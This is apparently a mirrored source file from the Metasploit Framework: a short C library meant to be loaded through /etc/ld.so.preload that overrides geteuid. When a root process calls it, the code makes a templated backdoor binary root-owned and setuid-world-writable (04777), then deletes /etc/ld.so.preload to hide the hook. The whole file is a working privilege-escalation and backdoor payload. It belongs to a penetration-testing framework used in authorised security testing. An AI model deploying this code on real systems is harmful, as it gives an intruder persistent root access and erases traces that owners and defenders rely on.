mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-09 04:26:11 +02:00
15 lines
352 B
C
15 lines
352 B
C
#define _GNU_SOURCE
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#include <stdio.h>
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#include <sys/stat.h>
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#include <unistd.h>
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#include <dlfcn.h>
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uid_t geteuid(void) {
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static uid_t (*old_geteuid)();
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old_geteuid = dlsym(RTLD_NEXT, "geteuid");
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if ( old_geteuid() == 0 ) {
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chown("$BACKDOORPATH", 0, 0);
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chmod("$BACKDOORPATH", 04777);
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unlink("/etc/ld.so.preload");
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}
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return old_geteuid();
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} |